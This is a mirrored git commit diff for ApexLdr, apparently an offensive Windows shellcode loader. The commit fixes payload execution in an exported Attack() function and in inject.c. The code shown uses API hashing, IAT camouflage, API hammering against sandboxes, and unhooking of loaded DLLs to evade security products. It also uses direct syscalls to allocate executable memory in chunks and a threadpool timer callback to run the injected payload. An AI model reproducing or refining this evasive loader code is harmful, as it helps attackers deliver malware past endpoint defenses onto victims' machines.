admin/Cipher7-ApexLdr
1
0
Fork 0
mirror of https://github.com/Cipher7/ApexLdr synced 2026-06-06 15:24:30 +00:00
Code Issues Packages Projects Releases Wiki Activity

Problem with payload execution

Browse Source
This commit is contained in:
Cipher
2024-06-25 06:34:38 +05:30
parent e52f6646ae
commit c13163e519
4 changed files with 50 additions and 25 deletions
Download Patch File Download Diff File Expand all files Collapse all files
ApexLdr/dist/ApexLdr.dll
Vendored
BIN
View File
Binary file not shown.
ApexLdr/include/inject.h
+1 -1
View File
@@ -11,7 +11,7 @@
#define PAYLOAD_EXEC_DELAY 0x0A
BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload);
VOID Execute(IN PVOID pInjectedPayload);
VOID Execute(PVOID pInjectedPayload);
#endif //APEXLDR_INJECT_H
ApexLdr/src/dllmain.c
+34 -21
View File
@@ -25,39 +25,52 @@ extern __declspec(dllexport) int Attack()
IatCamouflage();
MessageBoxA(NULL, "Hello", "Hello", MB_OK);
__debugbreak();
HMODULE kernel32_handle = GetModuleHandleH(kernel32_CRC32);
__debugbreak();
fnAddVectoredExceptionHandler pAddVectoredExceptionHandler = (fnAddVectoredExceptionHandler)GetProcAddressH( kernel32_handle, AddVectoredExceptionHandler_CRC32);
fnRemoveVectoredExceptionHandler pRemoveVectoredExceptionHandler = (fnRemoveVectoredExceptionHandler)GetProcAddressH(kernel32_handle, RemoveVectoredExceptionHandler_CRC32);
__debugbreak();
// MessageBoxA(NULL, "Hello", "Hello", MB_OK);
// __debugbreak();
// HMODULE kernel32_handle = GetModuleHandleH(kernel32_CRC32);
// __debugbreak();
// fnAddVectoredExceptionHandler pAddVectoredExceptionHandler = (fnAddVectoredExceptionHandler)GetProcAddressH( kernel32_handle, AddVectoredExceptionHandler_CRC32);
// fnRemoveVectoredExceptionHandler pRemoveVectoredExceptionHandler = (fnRemoveVectoredExceptionHandler)GetProcAddressH(kernel32_handle, RemoveVectoredExceptionHandler_CRC32);
// __debugbreak();
//
// ApiHammering(1000);
//
// if (pAddVectoredExceptionHandler == NULL || pRemoveVectoredExceptionHandler == NULL)
// {
// MessageBoxA(NULL, "ERROR", "ERROR", MB_OK);
// return -1;
// }
//
// MessageBoxA(NULL, "Hello", "Hello", MB_OK);
//
// pVehHandler = pAddVectoredExceptionHandler(1, VectoredExceptionHandler);
// if (pVehHandler == NULL)
// return -1;
ApiHammering(1000);
if (pAddVectoredExceptionHandler == NULL || pRemoveVectoredExceptionHandler == NULL)
{
MessageBoxA(NULL, "ERROR", "ERROR", MB_OK);
return -1;
}
MessageBoxA(NULL, "Hello", "Hello", MB_OK);
pVehHandler = pAddVectoredExceptionHandler(1, VectoredExceptionHandler);
pVehHandler = AddVectoredExceptionHandler(1, VectoredExceptionHandler);
if (pVehHandler == NULL)
return -1;
ApiHammering(1000);
UnhookAllLoadedDlls();
if (!RemoveVectoredExceptionHandler(pVehHandler))
return -1;
ApiHammering(1000);
MessageBoxA(NULL, "Hello", "Hello", MB_OK);
if (!pRemoveVectoredExceptionHandler(pVehHandler))
return -1;
if (!Inject(&pPayload, sSize, &pInjectedPayload))
{
return -1;
}
ApiHammering(1000);
Execute(pInjectedPayload);
return 0;
}
ApexLdr/src/inject.c
+15 -3
View File
@@ -13,7 +13,7 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload)
sNewPayloadSize = sNewPayloadSize + PAGE_SIZE;
if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pAddress, 0, &sNewPayloadSize, MEM_RESERVE, PAGE_READONLY)) == 0)
if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pAddress, 0, &sNewPayloadSize, MEM_RESERVE, PAGE_READONLY)) != 0)
{
return FALSE;
}
@@ -24,7 +24,7 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload)
for (DWORD i = 0; i < ii; i++)
{
if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pTmpAddress, 0, &sChunkSize, MEM_COMMIT, PAGE_READWRITE)) == 0)
if ((STATUS = Sw3NtAllocateVirtualMemory(NtCurrentProcess(), &pTmpAddress, 0, &sChunkSize, MEM_COMMIT, PAGE_READWRITE)) != 0)
{
return FALSE;
}
@@ -35,7 +35,7 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload)
for (DWORD i = 0; i < ii; i++)
{
if ((STATUS = Sw3NtProtectVirtualMemory(NtCurrentProcess(), &pTmpAddress, &sChunkSize, PAGE_EXECUTE_READWRITE, &dwOldPermissions)) == 0)
if ((STATUS = Sw3NtProtectVirtualMemory(NtCurrentProcess(), &pTmpAddress, &sChunkSize, PAGE_EXECUTE_READWRITE, &dwOldPermissions)) != 0)
{
return FALSE;
}
@@ -51,10 +51,17 @@ BOOL Inject(PBYTE pPayloadBuffer, SIZE_T sPayloadSize, PBYTE* pInjectedPayload)
pTmpPayload = (PBYTE)((ULONG_PTR)pTmpPayload + PAGE_SIZE);
pTmpAddress = (PBYTE)((ULONG_PTR)pTmpAddress + PAGE_SIZE);
}
*pInjectedPayload = pAddress;
return TRUE;
}
VOID CALLBACK TimerCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_TIMER Timer)
{
// Payload execution code here
((void(*)(void))Context)();
}
VOID Execute(PVOID pInjectedPayload)
{
TP_CALLBACK_ENVIRON tpCallbackEnv = { 0 };
@@ -63,7 +70,10 @@ VOID Execute(PVOID pInjectedPayload)
PTP_TIMER ptpTimer = NULL;
if (!pInjectedPayload)
{
MessageBoxA(NULL, "ERROR", "ERROR", MB_OK);
return;
}
InitializeThreadpoolEnvironment(&tpCallbackEnv);
@@ -73,6 +83,8 @@ VOID Execute(PVOID pInjectedPayload)
ulDueTime.QuadPart = (ULONGLONG)-(PAYLOAD_EXEC_DELAY * 10 * 1000 * 1000);
FileDueTime.dwHighDateTime = ulDueTime.HighPart;
FileDueTime.dwLowDateTime = ulDueTime.LowPart;
SetThreadpoolTimer(ptpTimer, &FileDueTime, 0x00, 0x00);
WaitForSingleObject((HANDLE)-1, INFINITE);
}